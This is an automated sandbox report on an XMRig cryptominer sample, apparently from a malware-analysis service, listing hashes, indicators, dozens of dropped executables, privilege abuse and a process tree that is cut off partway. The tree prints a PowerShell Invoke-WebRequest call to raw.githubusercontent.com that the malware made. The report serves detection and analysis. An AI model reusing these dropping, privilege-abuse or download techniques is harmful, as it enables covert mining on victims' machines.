xmrig | d9a4be1922c3fb29db1e3cf644b312c1dcb1be13a567ba96a3504005b15d1b7b

Analysis

max time kernel
150s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
18/05/2024, 23:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
Size 2.9MB
Sample240518-3ll3faee77
SHA256 d9a4be1922c3fb29db1e3cf644b312c1dcb1be13a567ba96a3504005b15d1b7b
MD5 25d832d7aea8ff864f439594983113d0
SHA1 7448a0ef7e18fa36107287f66d11a8aad6492823
SHA512 57d4018945cd4fcbea7db6228207ea5bde3005b0f4c814ce52ee5049ca767519a12c2086c9b4e550af32eca106ed7b91a926dc5e41fd3d78ab75f3c1806c407c
SSDEEP 49152:S1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkHC0IlnASEx/mib:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2Rs
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/756-0-0x00007FF727420000-0x00007FF727816000-memory.dmp	xmrig
behavioral2/files/0x000a0000000233b7-6.dat	xmrig
behavioral2/files/0x00070000000233be-9.dat	xmrig
behavioral2/files/0x00070000000233c2-29.dat	xmrig
behavioral2/files/0x00070000000233bf-36.dat	xmrig
behavioral2/files/0x00070000000233c1-50.dat	xmrig
behavioral2/files/0x00070000000233c9-60.dat	xmrig
behavioral2/files/0x00070000000233cf-93.dat	xmrig
behavioral2/files/0x00080000000233bb-121.dat	xmrig
behavioral2/files/0x00070000000233d9-148.dat	xmrig
behavioral2/memory/4468-159-0x00007FF685480000-0x00007FF685876000-memory.dmp	xmrig
behavioral2/files/0x00070000000233dc-177.dat	xmrig
behavioral2/memory/2412-184-0x00007FF7BA540000-0x00007FF7BA936000-memory.dmp	xmrig
behavioral2/memory/2176-188-0x00007FF669070000-0x00007FF669466000-memory.dmp	xmrig
behavioral2/memory/1364-193-0x00007FF7EC0D0000-0x00007FF7EC4C6000-memory.dmp	xmrig
behavioral2/memory/1368-198-0x00007FF6B0500000-0x00007FF6B08F6000-memory.dmp	xmrig
behavioral2/memory/5008-199-0x00007FF7B24C0000-0x00007FF7B28B6000-memory.dmp	xmrig
behavioral2/memory/2560-197-0x00007FF600290000-0x00007FF600686000-memory.dmp	xmrig
behavioral2/memory/696-196-0x00007FF751C00000-0x00007FF751FF6000-memory.dmp	xmrig
behavioral2/memory/2456-195-0x00007FF65A710000-0x00007FF65AB06000-memory.dmp	xmrig
behavioral2/memory/2564-194-0x00007FF7B05D0000-0x00007FF7B09C6000-memory.dmp	xmrig
behavioral2/memory/3748-192-0x00007FF782430000-0x00007FF782826000-memory.dmp	xmrig
behavioral2/memory/3160-191-0x00007FF725050000-0x00007FF725446000-memory.dmp	xmrig
behavioral2/memory/776-190-0x00007FF6660D0000-0x00007FF6664C6000-memory.dmp	xmrig
behavioral2/memory/4656-189-0x00007FF7845D0000-0x00007FF7849C6000-memory.dmp	xmrig
behavioral2/memory/3180-187-0x00007FF780D00000-0x00007FF7810F6000-memory.dmp	xmrig
behavioral2/memory/4924-186-0x00007FF61E370000-0x00007FF61E766000-memory.dmp	xmrig
behavioral2/memory/2016-185-0x00007FF6B1660000-0x00007FF6B1A56000-memory.dmp	xmrig
behavioral2/memory/944-183-0x00007FF650060000-0x00007FF650456000-memory.dmp	xmrig
behavioral2/memory/1844-182-0x00007FF637770000-0x00007FF637B66000-memory.dmp	xmrig
behavioral2/memory/2948-181-0x00007FF72EB90000-0x00007FF72EF86000-memory.dmp	xmrig
behavioral2/files/0x00080000000233d8-179.dat	xmrig
behavioral2/files/0x00070000000233db-175.dat	xmrig
behavioral2/files/0x00070000000233da-173.dat	xmrig
behavioral2/memory/4600-170-0x00007FF659A00000-0x00007FF659DF6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233d5-168.dat	xmrig
behavioral2/files/0x00070000000233d4-166.dat	xmrig
behavioral2/files/0x00070000000233d3-164.dat	xmrig
behavioral2/files/0x00070000000233d2-160.dat	xmrig
behavioral2/files/0x00070000000233d0-157.dat	xmrig
behavioral2/files/0x00070000000233d6-154.dat	xmrig
behavioral2/memory/2272-152-0x00007FF6F0960000-0x00007FF6F0D56000-memory.dmp	xmrig
behavioral2/files/0x00070000000233d1-146.dat	xmrig
behavioral2/files/0x00070000000233ce-136.dat	xmrig
behavioral2/files/0x00070000000233cd-133.dat	xmrig
behavioral2/memory/3972-132-0x00007FF6109D0000-0x00007FF610DC6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233cc-124.dat	xmrig
behavioral2/files/0x00070000000233cb-118.dat	xmrig
behavioral2/files/0x00070000000233ca-91.dat	xmrig
behavioral2/files/0x00070000000233c8-74.dat	xmrig
behavioral2/files/0x00070000000233c7-67.dat	xmrig
behavioral2/memory/3452-62-0x00007FF79B8B0000-0x00007FF79BCA6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233c5-56.dat	xmrig
behavioral2/files/0x00070000000233c3-55.dat	xmrig
behavioral2/files/0x00070000000233c6-45.dat	xmrig
behavioral2/files/0x00070000000233c4-42.dat	xmrig
behavioral2/files/0x00070000000233c0-37.dat	xmrig
behavioral2/memory/756-1732-0x00007FF727420000-0x00007FF727816000-memory.dmp	xmrig
behavioral2/memory/3452-2199-0x00007FF79B8B0000-0x00007FF79BCA6000-memory.dmp	xmrig
behavioral2/memory/2456-2200-0x00007FF65A710000-0x00007FF65AB06000-memory.dmp	xmrig
behavioral2/memory/2272-2202-0x00007FF6F0960000-0x00007FF6F0D56000-memory.dmp	xmrig
behavioral2/memory/1844-2204-0x00007FF637770000-0x00007FF637B66000-memory.dmp	xmrig
behavioral2/memory/2412-2205-0x00007FF7BA540000-0x00007FF7BA936000-memory.dmp	xmrig
behavioral2/memory/4468-2206-0x00007FF685480000-0x00007FF685876000-memory.dmp	xmrig

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	536	powershell.exe
11	536	powershell.exe
24	536	powershell.exe
25	536	powershell.exe
26	536	powershell.exe
39	536	powershell.exe
40	536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
536	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2456	xaIEMpw.exe
3452	mAPvlZe.exe
3972	VGioans.exe
2272	qjlFFUM.exe
4468	ldUDGJG.exe
4600	gMtGCnl.exe
2948	bGehNJv.exe
1844	ldcBPQa.exe
944	kYKatHb.exe
2412	demNTEL.exe
696	vZGjcfv.exe
2016	rRlTZAc.exe
4924	gRRYezS.exe
2560	csYONBI.exe
1368	GxyOAyi.exe
3180	ZzJJPza.exe
2176	elCZnhI.exe
4656	ezsrtJZ.exe
776	VZriiPr.exe
3160	BfjCzZC.exe
3748	WTufzZR.exe
5008	SKaHrsP.exe
1364	ohAOwhX.exe
2564	MMCYNDj.exe
2224	hbIkJSi.exe
4832	sAcMIWI.exe
1896	dotgzFc.exe
4708	wZWWyTI.exe
864	fGtYunD.exe
1504	UzHPBUy.exe
4496	cZigSiR.exe
1720	ivYzrQs.exe
4488	QpiUYKk.exe
4428	aSidvxC.exe
3240	DyzyoWL.exe
2200	vTZpjGY.exe
3176	eYHFLMg.exe
3420	jcrjtHd.exe
2940	VFJNmql.exe
3648	YGdGamw.exe
3848	mlJsbXI.exe
4964	gEvnifj.exe
2388	QifYTDJ.exe
4320	UAUgTcl.exe
4492	KRWdOGO.exe
4804	nQOyuRJ.exe
4024	mUbuKYQ.exe
4668	AnTWbmT.exe
1616	ssMaoQF.exe
2172	QMVqZFI.exe
4564	pcuNefp.exe
3664	JEvnMys.exe
3308	fOlSsOq.exe
2936	sGDlDeZ.exe
1916	BmTNkjj.exe
4036	lgHdQRU.exe
4780	gdtLzlT.exe
3904	nlMouRl.exe
3588	bIReGaK.exe
3192	etsgYxs.exe
4392	bhXfrHS.exe
4512	VRRuoal.exe
1268	SlvZiXI.exe
4608	HfzDtMI.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/756-0-0x00007FF727420000-0x00007FF727816000-memory.dmp	upx
behavioral2/files/0x000a0000000233b7-6.dat	upx
behavioral2/files/0x00070000000233be-9.dat	upx
behavioral2/files/0x00070000000233c2-29.dat	upx
behavioral2/files/0x00070000000233bf-36.dat	upx
behavioral2/files/0x00070000000233c1-50.dat	upx
behavioral2/files/0x00070000000233c9-60.dat	upx
behavioral2/files/0x00070000000233cf-93.dat	upx
behavioral2/files/0x00080000000233bb-121.dat	upx
behavioral2/files/0x00070000000233d9-148.dat	upx
behavioral2/memory/4468-159-0x00007FF685480000-0x00007FF685876000-memory.dmp	upx
behavioral2/files/0x00070000000233dc-177.dat	upx
behavioral2/memory/2412-184-0x00007FF7BA540000-0x00007FF7BA936000-memory.dmp	upx
behavioral2/memory/2176-188-0x00007FF669070000-0x00007FF669466000-memory.dmp	upx
behavioral2/memory/1364-193-0x00007FF7EC0D0000-0x00007FF7EC4C6000-memory.dmp	upx
behavioral2/memory/1368-198-0x00007FF6B0500000-0x00007FF6B08F6000-memory.dmp	upx
behavioral2/memory/5008-199-0x00007FF7B24C0000-0x00007FF7B28B6000-memory.dmp	upx
behavioral2/memory/2560-197-0x00007FF600290000-0x00007FF600686000-memory.dmp	upx
behavioral2/memory/696-196-0x00007FF751C00000-0x00007FF751FF6000-memory.dmp	upx
behavioral2/memory/2456-195-0x00007FF65A710000-0x00007FF65AB06000-memory.dmp	upx
behavioral2/memory/2564-194-0x00007FF7B05D0000-0x00007FF7B09C6000-memory.dmp	upx
behavioral2/memory/3748-192-0x00007FF782430000-0x00007FF782826000-memory.dmp	upx
behavioral2/memory/3160-191-0x00007FF725050000-0x00007FF725446000-memory.dmp	upx
behavioral2/memory/776-190-0x00007FF6660D0000-0x00007FF6664C6000-memory.dmp	upx
behavioral2/memory/4656-189-0x00007FF7845D0000-0x00007FF7849C6000-memory.dmp	upx
behavioral2/memory/3180-187-0x00007FF780D00000-0x00007FF7810F6000-memory.dmp	upx
behavioral2/memory/4924-186-0x00007FF61E370000-0x00007FF61E766000-memory.dmp	upx
behavioral2/memory/2016-185-0x00007FF6B1660000-0x00007FF6B1A56000-memory.dmp	upx
behavioral2/memory/944-183-0x00007FF650060000-0x00007FF650456000-memory.dmp	upx
behavioral2/memory/1844-182-0x00007FF637770000-0x00007FF637B66000-memory.dmp	upx
behavioral2/memory/2948-181-0x00007FF72EB90000-0x00007FF72EF86000-memory.dmp	upx
behavioral2/files/0x00080000000233d8-179.dat	upx
behavioral2/files/0x00070000000233db-175.dat	upx
behavioral2/files/0x00070000000233da-173.dat	upx
behavioral2/memory/4600-170-0x00007FF659A00000-0x00007FF659DF6000-memory.dmp	upx
behavioral2/files/0x00070000000233d5-168.dat	upx
behavioral2/files/0x00070000000233d4-166.dat	upx
behavioral2/files/0x00070000000233d3-164.dat	upx
behavioral2/files/0x00070000000233d2-160.dat	upx
behavioral2/files/0x00070000000233d0-157.dat	upx
behavioral2/files/0x00070000000233d6-154.dat	upx
behavioral2/memory/2272-152-0x00007FF6F0960000-0x00007FF6F0D56000-memory.dmp	upx
behavioral2/files/0x00070000000233d1-146.dat	upx
behavioral2/files/0x00070000000233ce-136.dat	upx
behavioral2/files/0x00070000000233cd-133.dat	upx
behavioral2/memory/3972-132-0x00007FF6109D0000-0x00007FF610DC6000-memory.dmp	upx
behavioral2/files/0x00070000000233cc-124.dat	upx
behavioral2/files/0x00070000000233cb-118.dat	upx
behavioral2/files/0x00070000000233ca-91.dat	upx
behavioral2/files/0x00070000000233c8-74.dat	upx
behavioral2/files/0x00070000000233c7-67.dat	upx
behavioral2/memory/3452-62-0x00007FF79B8B0000-0x00007FF79BCA6000-memory.dmp	upx
behavioral2/files/0x00070000000233c5-56.dat	upx
behavioral2/files/0x00070000000233c3-55.dat	upx
behavioral2/files/0x00070000000233c6-45.dat	upx
behavioral2/files/0x00070000000233c4-42.dat	upx
behavioral2/files/0x00070000000233c0-37.dat	upx
behavioral2/memory/756-1732-0x00007FF727420000-0x00007FF727816000-memory.dmp	upx
behavioral2/memory/3452-2199-0x00007FF79B8B0000-0x00007FF79BCA6000-memory.dmp	upx
behavioral2/memory/2456-2200-0x00007FF65A710000-0x00007FF65AB06000-memory.dmp	upx
behavioral2/memory/2272-2202-0x00007FF6F0960000-0x00007FF6F0D56000-memory.dmp	upx
behavioral2/memory/1844-2204-0x00007FF637770000-0x00007FF637B66000-memory.dmp	upx
behavioral2/memory/2412-2205-0x00007FF7BA540000-0x00007FF7BA936000-memory.dmp	upx
behavioral2/memory/4468-2206-0x00007FF685480000-0x00007FF685876000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\qTZXZXf.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\BKItVTe.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\Sdvplbw.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\HFbIhZF.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\gKoNctm.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\lMOHcQG.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\XEJryWk.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\vHePaaY.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\BNRFuYG.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\KNUvVGZ.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\JwoJxbo.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\kajAxAs.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\tnGrntF.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\GBBrspK.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\XTmRFRO.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\HwNDjjm.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\TDJsDzM.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\bRrqhIS.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\DSyvsIC.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\lXmsDrp.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\BrZNgUf.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\ePeAAQF.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\PkfRIza.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\qeWvSfj.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\mHGblvC.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\jUBexEw.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\lpaZGds.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\GTFSjkG.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\EfvtjMi.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\IyrwEub.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\dNziJsp.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\WthqZiu.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\VyzFdac.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\UfAXmho.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\mvwcpgZ.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\woLHnnx.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\cMkYlWs.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\goYZniS.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\GFMmLZt.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\NLYqeXp.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\YBuYDft.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\XgOvaiV.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\vAOgSMc.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\BKDBOfA.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\awEtWJu.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\ckpnpIB.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\sGDqydg.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\HqbEyxl.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\bStUUVD.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\BFnJmkT.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\sAcMIWI.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\DbwWaEl.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\XqyPyLY.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\EKiHXLc.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\AwmFNxm.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\hoKwTEB.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\omzvcBp.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\MvNcPOf.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\GqVBHWW.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\ezsrtJZ.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\QifYTDJ.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\lNnWjDx.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\dYVzdlc.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
File created	C:\Windows\System\RaGbSuP.exe	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
536	powershell.exe
536	powershell.exe
536	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
Token: SeDebugPrivilege	536	powershell.exe
Token: SeLockMemoryPrivilege	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 756 wrote to memory of 536	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	83
PID 756 wrote to memory of 536	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	83
PID 756 wrote to memory of 2456	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	84
PID 756 wrote to memory of 2456	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	84
PID 756 wrote to memory of 3452	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	85
PID 756 wrote to memory of 3452	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	85
PID 756 wrote to memory of 3972	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	86
PID 756 wrote to memory of 3972	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	86
PID 756 wrote to memory of 2272	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	87
PID 756 wrote to memory of 2272	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	87
PID 756 wrote to memory of 4468	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	88
PID 756 wrote to memory of 4468	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	88
PID 756 wrote to memory of 4600	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	89
PID 756 wrote to memory of 4600	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	89
PID 756 wrote to memory of 2948	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	90
PID 756 wrote to memory of 2948	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	90
PID 756 wrote to memory of 1844	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	91
PID 756 wrote to memory of 1844	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	91
PID 756 wrote to memory of 944	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	92
PID 756 wrote to memory of 944	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	92
PID 756 wrote to memory of 2412	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	93
PID 756 wrote to memory of 2412	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	93
PID 756 wrote to memory of 696	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	94
PID 756 wrote to memory of 696	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	94
PID 756 wrote to memory of 2016	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	95
PID 756 wrote to memory of 2016	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	95
PID 756 wrote to memory of 4924	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	96
PID 756 wrote to memory of 4924	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	96
PID 756 wrote to memory of 2560	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	97
PID 756 wrote to memory of 2560	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	97
PID 756 wrote to memory of 1368	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	98
PID 756 wrote to memory of 1368	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	98
PID 756 wrote to memory of 3180	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	99
PID 756 wrote to memory of 3180	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	99
PID 756 wrote to memory of 2176	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	100
PID 756 wrote to memory of 2176	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	100
PID 756 wrote to memory of 4656	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	101
PID 756 wrote to memory of 4656	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	101
PID 756 wrote to memory of 776	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	102
PID 756 wrote to memory of 776	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	102
PID 756 wrote to memory of 3160	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	103
PID 756 wrote to memory of 3160	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	103
PID 756 wrote to memory of 3748	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	104
PID 756 wrote to memory of 3748	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	104
PID 756 wrote to memory of 5008	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	105
PID 756 wrote to memory of 5008	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	105
PID 756 wrote to memory of 1364	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	106
PID 756 wrote to memory of 1364	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	106
PID 756 wrote to memory of 2564	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	107
PID 756 wrote to memory of 2564	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	107
PID 756 wrote to memory of 2224	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	108
PID 756 wrote to memory of 2224	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	108
PID 756 wrote to memory of 4832	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	109
PID 756 wrote to memory of 4832	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	109
PID 756 wrote to memory of 1896	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	110
PID 756 wrote to memory of 1896	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	110
PID 756 wrote to memory of 4708	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	111
PID 756 wrote to memory of 4708	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	111
PID 756 wrote to memory of 864	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	112
PID 756 wrote to memory of 864	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	112
PID 756 wrote to memory of 1504	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	113
PID 756 wrote to memory of 1504	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	113
PID 756 wrote to memory of 4496	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	114
PID 756 wrote to memory of 4496	756	25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe	114

C:\Users\Admin\AppData\Local\Temp\25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\25d832d7aea8ff864f439594983113d0_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:536
- C:\Windows\System\xaIEMpw.exe
  C:\Windows\System\xaIEMpw.exe
  2⤵
  - Executes dropped EXE
  PID:2456
- C:\Windows\System\mAPvlZe.exe
  C:\Windows\System\mAPvlZe.exe
  2⤵
  - Executes dropped EXE
  PID:3452
- C:\Windows\System\VGioans.exe
  C:\Windows\System\VGioans.exe
  2⤵
  - Executes dropped EXE
  PID:3972
- C:\Windows\System\qjlFFUM.exe
  C:\Windows\System\qjlFFUM.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\ldUDGJG.exe
  C:\Windows\System\ldUDGJG.exe
  2⤵
  - Executes dropped EXE
  PID:4468
- C:\Windows\System\gMtGCnl.exe
  C:\Windows\System\gMtGCnl.exe
  2⤵
  - Executes dropped EXE
  PID:4600
- C:\Windows\System\bGehNJv.exe
  C:\Windows\System\bGehNJv.exe
  2⤵
  - Executes dropped EXE
  PID:2948
- C:\Windows\System\ldcBPQa.exe
  C:\Windows\System\ldcBPQa.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\kYKatHb.exe
  C:\Windows\System\kYKatHb.exe
  2⤵
  - Executes dropped EXE
  PID:944
- C:\Windows\System\demNTEL.exe
  C:\Windows\System\demNTEL.exe
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Windows\System\vZGjcfv.exe
  C:\Windows\System\vZGjcfv.exe
  2⤵
  - Executes dropped EXE
  PID:696
- C:\Windows\System\rRlTZAc.exe
  C:\Windows\System\rRlTZAc.exe
  2⤵
  - Executes dropped EXE
  PID:2016
- C:\Windows\System\gRRYezS.exe
  C:\Windows\System\gRRYezS.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\csYONBI.exe
  C:\Windows\System\csYONBI.exe
